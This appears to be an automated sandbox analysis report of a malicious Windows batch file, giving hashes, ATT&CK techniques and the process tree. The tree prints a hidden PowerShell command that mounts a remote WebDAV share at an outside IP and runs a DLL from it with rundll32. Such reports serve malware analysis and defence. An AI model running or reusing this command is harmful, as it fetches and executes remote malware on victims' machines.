0c9fa27264bcc952fa4d3da5ceaee543d6408964ac5f5bbe5c11629c8eb9d28a

Analysis

max time kernel
106s
max time network
121s
platform
windows10-2004_x64
resource
win10v2004-20240709-en
resource tags

arch:x64arch:x86image:win10v2004-20240709-enlocale:en-usos:windows10-2004-x64system
submitted
13/07/2024, 13:44

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General

Target

1216710410164405915.bat
Size

2KB
MD5

2cbb3d03bba8dc1ee12f3eaf15b5852a
SHA1

5eacde35a8a7245cbeef525e51487d66229aadc3
SHA256

0c9fa27264bcc952fa4d3da5ceaee543d6408964ac5f5bbe5c11629c8eb9d28a
SHA512

0a612f36544e800fc25f14c6e6ebb4217b733f3a8d27b037f4b25e86d371fc1addcca3e60a27ec69c16c4a4f4a58cb48bbb3d60c694fa2a147fbbac24a079a5d

Score

8^/10

execution

Malware Config

Signatures

Command and Scripting Interpreter: PowerShell 1 TTPs 1 IoCs

Run Powershell and hide display window.

execution

PowerShell

T1059.001

pid	Process
4100	powershell.exe

Checks computer location settings 2 TTPs 1 IoCs

Looks up country code configured in the registry, likely geofence.

Query Registry

T1012

System Information Discovery

T1082

description	ioc	Process
Key value queried	\REGISTRY\USER\S-1-5-21-384068567-2943195810-3631207890-1000\Control Panel\International\Geo\Nation	cmd.exe

Enumerates physical storage devices 1 TTPs
Attempts to interact with connected storage/optical drive(s).

System Information Discovery
T1082
Runs net.exe

Suspicious behavior: EnumeratesProcesses 2 IoCs

pid	Process
4100	powershell.exe
4100	powershell.exe

Suspicious use of AdjustPrivilegeToken 1 IoCs

description	pid	Process
Token: SeDebugPrivilege	4100	powershell.exe

Suspicious use of SetWindowsHookEx 5 IoCs

pid	Process
1272	wordpad.exe
1272	wordpad.exe
1272	wordpad.exe
1272	wordpad.exe
1272	wordpad.exe

Suspicious use of WriteProcessMemory 8 IoCs

description	pid	Process	procid_target
PID 2368 wrote to memory of 1272	2368	cmd.exe	84
PID 2368 wrote to memory of 1272	2368	cmd.exe	84
PID 2368 wrote to memory of 4100	2368	cmd.exe	86
PID 2368 wrote to memory of 4100	2368	cmd.exe	86
PID 4100 wrote to memory of 3488	4100	powershell.exe	88
PID 4100 wrote to memory of 3488	4100	powershell.exe	88
PID 4100 wrote to memory of 4776	4100	powershell.exe	89
PID 4100 wrote to memory of 4776	4100	powershell.exe	89

C:\Windows\system32\cmd.exe
C:\Windows\system32\cmd.exe /c "C:\Users\Admin\AppData\Local\Temp\1216710410164405915.bat"
1⤵
- Checks computer location settings
- Suspicious use of WriteProcessMemory
PID:2368
- C:\Program Files\Windows NT\Accessories\wordpad.exe
  "C:\Program Files\Windows NT\Accessories\wordpad.exe"
  2⤵
  - Suspicious use of SetWindowsHookEx
  PID:1272
- C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
  powershell.exe -windowstyle hidden net use \\45.9.74.32@8888\davwwwroot\ ; rundll32 \\45.9.74.32@8888\davwwwroot\3561.dll,entry
  2⤵
  - Command and Scripting Interpreter: PowerShell
  - Suspicious behavior: EnumeratesProcesses
  - Suspicious use of AdjustPrivilegeToken
  - Suspicious use of WriteProcessMemory
  PID:4100
- - C:\Windows\system32\net.exe
    "C:\Windows\system32\net.exe" use \\45.9.74.32@8888\davwwwroot\
    3⤵
    PID:3488
- - C:\Windows\system32\rundll32.exe
    "C:\Windows\system32\rundll32.exe" \\45.9.74.32@8888\davwwwroot\3561.dll,entry
    3⤵
    PID:4776

C:\Windows\system32\svchost.exe
C:\Windows\system32\svchost.exe -k PrintWorkflow -s PrintWorkflowUserSvc
1⤵
PID:4384

Network

MITRE ATT&CK Enterprise v15

Reconnaissance

Resource Development

Initial Access

Execution

Command and Scripting Interpreter

T1059

PowerShell

T1059.001

Persistence

Privilege Escalation

Defense Evasion

Credential Access

Discovery

Query Registry

T1012

System Information Discovery

T1082

Lateral Movement

Collection

Command and Control

Exfiltration

Impact

Replay Monitor

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Downloads

C:\Users\Admin\AppData\Local\Temp\__PSScriptPolicyTest_gbb3jtam.ugn.ps1

Filesize
60B

MD5
d17fe0a3f47be24a6453e9ef58c94641

SHA1
6ab83620379fc69f80c0242105ddffd7d98d5d9d

SHA256
96ad1146eb96877eab5942ae0736b82d8b5e2039a80d3d6932665c1a4c87dcf7

SHA512
5b592e58f26c264604f98f6aa12860758ce606d1c63220736cf0c779e4e18e3cec8706930a16c38b20161754d1017d1657d35258e58ca22b18f5b232880dec82

Download Submit
memory/4100-0-0x000001B34DA10000-0x000001B34DA32000-memory.dmp

Filesize
136KB

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